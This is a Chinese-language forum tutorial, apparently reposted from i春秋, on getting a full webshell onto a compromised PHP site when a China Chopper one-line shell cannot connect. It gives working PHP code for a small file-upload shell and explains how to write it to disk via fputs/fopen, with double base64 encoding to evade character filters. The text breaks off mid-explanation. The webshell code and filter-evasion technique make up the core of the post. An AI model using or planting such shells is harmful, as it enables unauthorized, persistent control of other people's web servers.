i春秋作家:大家奥斯的哦
原文来自:https://bbs.ichunqiu.com/thread-41471-1-1.html
代码执行函数 VS 命令执行函数
一直想整理这两块的内容,但是一直没时间弄,直到前两天碰上一个写入了菜刀马但是死活连不上菜刀的站,顿时不知道怎么继续了,所以就趁这个机会整理了一下代码执行函数怎么getshell和命令执行函数怎么getshell的思路,各位大牛有什么想法可以一起交流一下。那么我们开始正题。
菜刀马的原理其实是调用了代码执行函数。而菜刀之所以能够执行系统命令和上传文件,也是调用了命令执行函数。命令马的原理是调用了命令执行函数。
这两种都能够getshell(以上传大马为准)因为有一些服务器做了限制,比如菜刀连不上,或者禁用了某些函数,或者利用SQL注入写文件和XML之类的漏洞,所以有时候在有了菜刀马和命令马之后要上传大马还是有一些波折的,当然能够直接上传或写入大马的除外。
一、首先是菜刀马:
菜刀马的原理是调用了PHP的代码执行函数,比如以下1和2两个常见的一句话菜刀马,就是调用了eval函数、assert函数。
那么当我们上传了eval函数的菜刀马之后,在连接不上菜刀的情况下怎么上传大马呢?继续往下看
这里我是先写一个上传马,再用上传马去上传大马,有点多次一举,但是考虑到大马代码量太多,还是建议先写个上传马,以下代码只有1kb。
<?php
@$temp = $_FILES['upload_file']['tmp_name'];
@$file = basename($_FILES['upload_file']['name']);
if (empty ($file)){
echo “<form action = ” method = ‘POST’ ENCTYPE=’multipart/form-data’>\n”;echo “Local file: <input type = ‘file’ name = ‘upload_file’>\n”;echo “<input type = ‘submit’ value = ‘Upload’>\n”;echo “</form>\n<pre>\n\n</pre>”;}else {if(move_uploaded_file($temp,$file)){echo “File uploaded successfully.<p>\n”;}else {echo “Unable to upload ” . $file . “.<p>\n”;}}?>
原理是利用文件操作函数如下:
fputs(fopen(shell.php,w),xxxx);
写入xxxx到脚本执行文件当前目录下的shell.php文件。
由于是利用post传参,不能出现【<】【>】【+】【=】【/】等符号,所以这里我们需要把代码编码一下,将上面的上传代码进行两次base64编码(为了去除=号)。
☆☆☆</